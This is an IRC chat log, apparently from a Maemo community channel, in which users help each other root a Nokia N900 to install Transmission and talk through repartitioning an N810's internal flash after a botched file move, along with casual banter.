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| MohammadAG51 | install rootsh with the app manager first | 23:14 |
| maltemax | I don't know what I'm doing really, just obediently following the guide | 23:14 |
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| MohammadAG51 | then use the command root | 23:14 |
| FIQ | well, be sure to type exactly what's written then. :) | 23:14 |
| maltemax | Ok I will (; | 23:14 |
| FIQ | but yea, install rootsh before sudo gainroot works | 23:14 |
| MohammadAG51 | then install transmission from the app manager | 23:15 |
| FIQ | that works too | 23:15 |
| maltemax | I don't seem to find transmission from the app manager, but that would be the easiest thing of course | 23:15 |
| lcuk | the question was whether non-developers should get root | 23:15 |
| maltemax | lcuk, yes that was my question too | 23:16 |
| FIQ | i've got root, bricked my device, done things none else with a brain would do, and i'm not a dev. :D | 23:16 |
| lcuk | http://maemo.org/packages/view/transmission/ | 23:16 |
| FIQ | but i never do things that i've no idea what i'm doing | 23:16 |
| lcuk | transmission is in the -testing repository | 23:16 |
| lcuk | ie, you shouldnt need to touch the console or even install rootsh, but its an incomplete test package that likely will drain stuff (since it downloads stuff all the time) | 23:18 |
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| maltemax | lcuk, it will drain my battery if I have it open, right? | 23:19 |
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| maltemax | That's okay though. I just want to download torrents everynow and then, e.g. eipedia packets | 23:20 |
| delt | Hello | 23:20 |
| maltemax | evipedia* | 23:20 |
| SpeedEvil | evo | 23:20 |
| SpeedEvil | I think | 23:20 |
| maltemax | speedevil, yes | 23:20 |
| delt | nokia n810: any way to see the standard console at boot instead of a white screen with a nokia logo? | 23:20 |
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| lcuk | delt, afaik, it is possible but requires a whole new kernel etc | 23:21 |
| delt | i moved stuff to the internal 2gb flash, forgetting it was a fucking WINDOWZ PARTITION - no more symlinks, no more user id's, no more group id's, no more file permissions..... *sigh* | 23:22 |
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| delt | now i don't have the right USB cable or adapter to plug this to the PC.... so no way to un-brick it for now :/ | 23:23 |
| delt | (why didn't they use a standard mini-usb plug like everyone else btw??) | 23:24 |
| SpeedEvil | micro is the new standard for all phones | 23:25 |
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| luke-jr | N900 isn't a phone | 23:25 |
| SpeedEvil | It's more reliable than mini. | 23:25 |
| luke-jr | pwnt | 23:25 |
| * SpeedEvil stabs luke-jr in the eye with a baguette. | 23:25 | |
| delt | so the UI needs something in /usr/share/ BEFORE /media/mmcwhatever is mounted.... | 23:25 |
| ieatlint | except on the n900, where the connector falls off :P | 23:25 |
| * RST38h uses n900 to make phone calls hence iti s a phone. | 23:25 | |
| * luke-jr wonders if it's possible to build a normal USB port that can also take a Micro or Mini | 23:25 | |
| Corsac | everybody knows it's a mobile computer! | 23:26 |
| luke-jr | it's a Personal Mobile Tool! | 23:27 |
| ieatlint | how about a Personal Mobile Smartphone, so we can say we're PMSing when using it | 23:28 |
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| delt | pda, tablet, personal mobile/whatever, pocket computer, .... pick your choose =) | 23:28 |
| delt | anyway, looks like i'm gonna need some cable or adapter to fix it *sigh* ..... :/ | 23:29 |
| SpeedEvil | delt: You don't have the cable that comes with it? | 23:30 |
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| delt | i think my brother has it | 23:30 |
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| delt | i just moved some stuff out of /usr/share (icons, sounds, and some games stuff) to the internal 2GB and symlinked it... (the / partition had like 2mb free) | 23:32 |
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| delt | apparently, either the permissions/user/group-id's were necessary, or that stuff is necessary -before- the other filesystem gets mounted. | 23:32 |
| SpeedEvil | it's probably noexec | 23:33 |
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| delt | anyway, first thing im doing when i get the cable (or an adapter) is NUKE the windowz partition and reformat it ext3 (and change the entry in /etc/fstab) | 23:33 |
| MNZ | delt, apparently, it's not that easy | 23:34 |
| SpeedEvil | delt: What I did. | 23:34 |
| MNZ | it IS that easy? | 23:34 |
| SpeedEvil | delt: tar up mydocs, put it in /home | 23:34 |
| Mece | heh the fonearena battle is raging :J | 23:34 |
| delt | yeah, i remember seeing noexec in the fstab | 23:34 |
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| MNZ | I was told that some stuff depends on there being a vfat partition? | 23:34 |
| Mece | :) even | 23:34 |
| SpeedEvil | delt: Then unmount mydocs, fdisk it to 4G. | 23:34 |
| delt | SpeedEvil: of course, i keep a copy of everything that was on it first!! | 23:34 |
| SpeedEvil | Put another data partition onthere at 26ishG | 23:35 |
| SpeedEvil | make that ext3 | 23:35 |
| delt | 4G? | 23:35 |
| delt | oh | 23:35 |
| Mece | http://www.fonearena.com/blog/23073/smartphone-championship-semi-final-nokia-n900-vs-palm-pre.html | 23:35 |
| SpeedEvil | this way there is an easy way for the normal software to work as it normally does. | 23:35 |
| SpeedEvil | And for it to plugin to PCs and printers and ... | 23:36 |
| SpeedEvil | But still have lots of storage for stuff. | 23:36 |
| MNZ | Mece, yay! the N900 is winning! | 23:37 |
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| delt | what about just tar.gz the whole 2gb windows partition, fdisk and reformat it to ext3/whatever decent FS, then put the stuff back | 23:37 |
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| Mece | MNZ, it's losing ground fast. was up by 400 a few minutes ago. | 23:37 |
| MNZ | it's up by 336 now | 23:38 |
| MNZ | vote folks~ | 23:38 |
| MNZ | s/~/!/ | 23:38 |
| infobot | MNZ meant: vote folks! | 23:38 |
| delt | SpeedEvil: what about just tar.gz the whole 2gb windows partition from the PC onto harddisk, fdisk and reformat it to ext3/whatever decent FS, then put the files back...? | 23:38 |
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| SpeedEvil | delt: Should work | 23:39 |
| SpeedEvil | delt: errr | 23:39 |
| SpeedEvil | delt: I know at one point that that did not work | 23:39 |
| SpeedEvil | delt: I do not kno if it continues to not work. | 23:39 |
| SpeedEvil | delt: Also - mydocs being vgat means you have lots more compartibility than ext2 | 23:39 |
| delt | some process needed a sandbox/free-for-all mess with no perms/uids? | 23:39 |
| MNZ | Google Ad: Unlocked N900 -$110.99 N900Phone.LightInTheBox.com | 23:40 |
| MNZ | Amazing N900 With 2 Sim Cards. Free 2G Card, 7/24 Live Support! | 23:40 |
| * delt gives 0 shit(s) about compatibility with windows. | 23:40 | |
| RST38h | wow | 23:41 |
| Mece | hehhe | 23:41 |
| RST38h | Is that live support in Chinese? | 23:41 |
| MNZ | I sure hope it's in English because I just ordered one. Finally, an unlocked N900. What took them so long? | 23:41 |
| delt | heh infobot =) | 23:41 |
| delt | hello worlf | 23:42 |
| delt | s/worlf/world/ | 23:42 |
| infobot | delt meant: hello world | 23:42 |
| delt | =) | 23:42 |
| MNZ | ~botsnack | 23:42 |
| infobot | MNZ: aw, gee | 23:42 |
| delt | wako wako wako wako | 23:42 |
| delt | s/wako/waka/g | 23:42 |
| infobot | delt meant: waka waka waka waka | 23:42 |
| delt | hehee! | 23:42 |
| delt | wako wako wako wako | 23:43 |
| delt | s/wako/waka/ | 23:43 |
| infobot | delt meant: waka wako wako wako | 23:43 |
| delt | smart bot :D | 23:43 |
| delt | uses sed directly? | 23:44 |
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| maltemax | lcuk: If I want to download a package from the link you posted, which one should I take? | 23:47 |
| maltemax | lcuk: Transmission that is (sorry for being slow here, needed to read up on some of the stuff) | 23:47 |
| maltemax | http://maemo.org/packages/view/transmission/ | 23:47 |
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| delt | anyway.... gonna go get/find/look for the cable or "a cable" :/ | 23:49 |
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| delt | oh btw, what limits the miniSD to 8 gigs? | 23:52 |
| delt | if the software supports it, you could stick a microSD 32gb in a micro-to-mini adapter...? | 23:52 |
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| SpeedEvil | yes. | 23:52 |
| SpeedEvil | 32 should be supported | 23:53 |
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| SpeedEvil | it's just it wasn't available at the time | 23:53 |
| delt | as in, compile the kernel with more recent drivers for sd cards | 23:53 |
| SpeedEvil | No, I mean by default | 23:53 |
| SpeedEvil | there is no change between 8 and 32 | 23:53 |
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| delt | n810 came out i think in 2008? | 23:53 |
| SpeedEvil | oops. | 23:54 |
| delt | 16gb microsd cards were available by then...? | 23:54 |
| SpeedEvil | I _think_ it shoul work OK - but I don't have an 810 | 23:54 |
| SpeedEvil | certainly not | 23:54 |
| SpeedEvil | they were only available earlier this year | 23:54 |
| delt | heh... my notion of time is slightly out of whack -) | 23:55 |
| delt | anyway, do you remember what didn't work with the internal 2gb flash being just one ext2/3 partition? | 23:55 |
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| delt | oh, and what would be the /dev names for individual partitions on a flash/sd card? | 23:56 |
| delt | (from maemo on the n810's point of view) | 23:57 |
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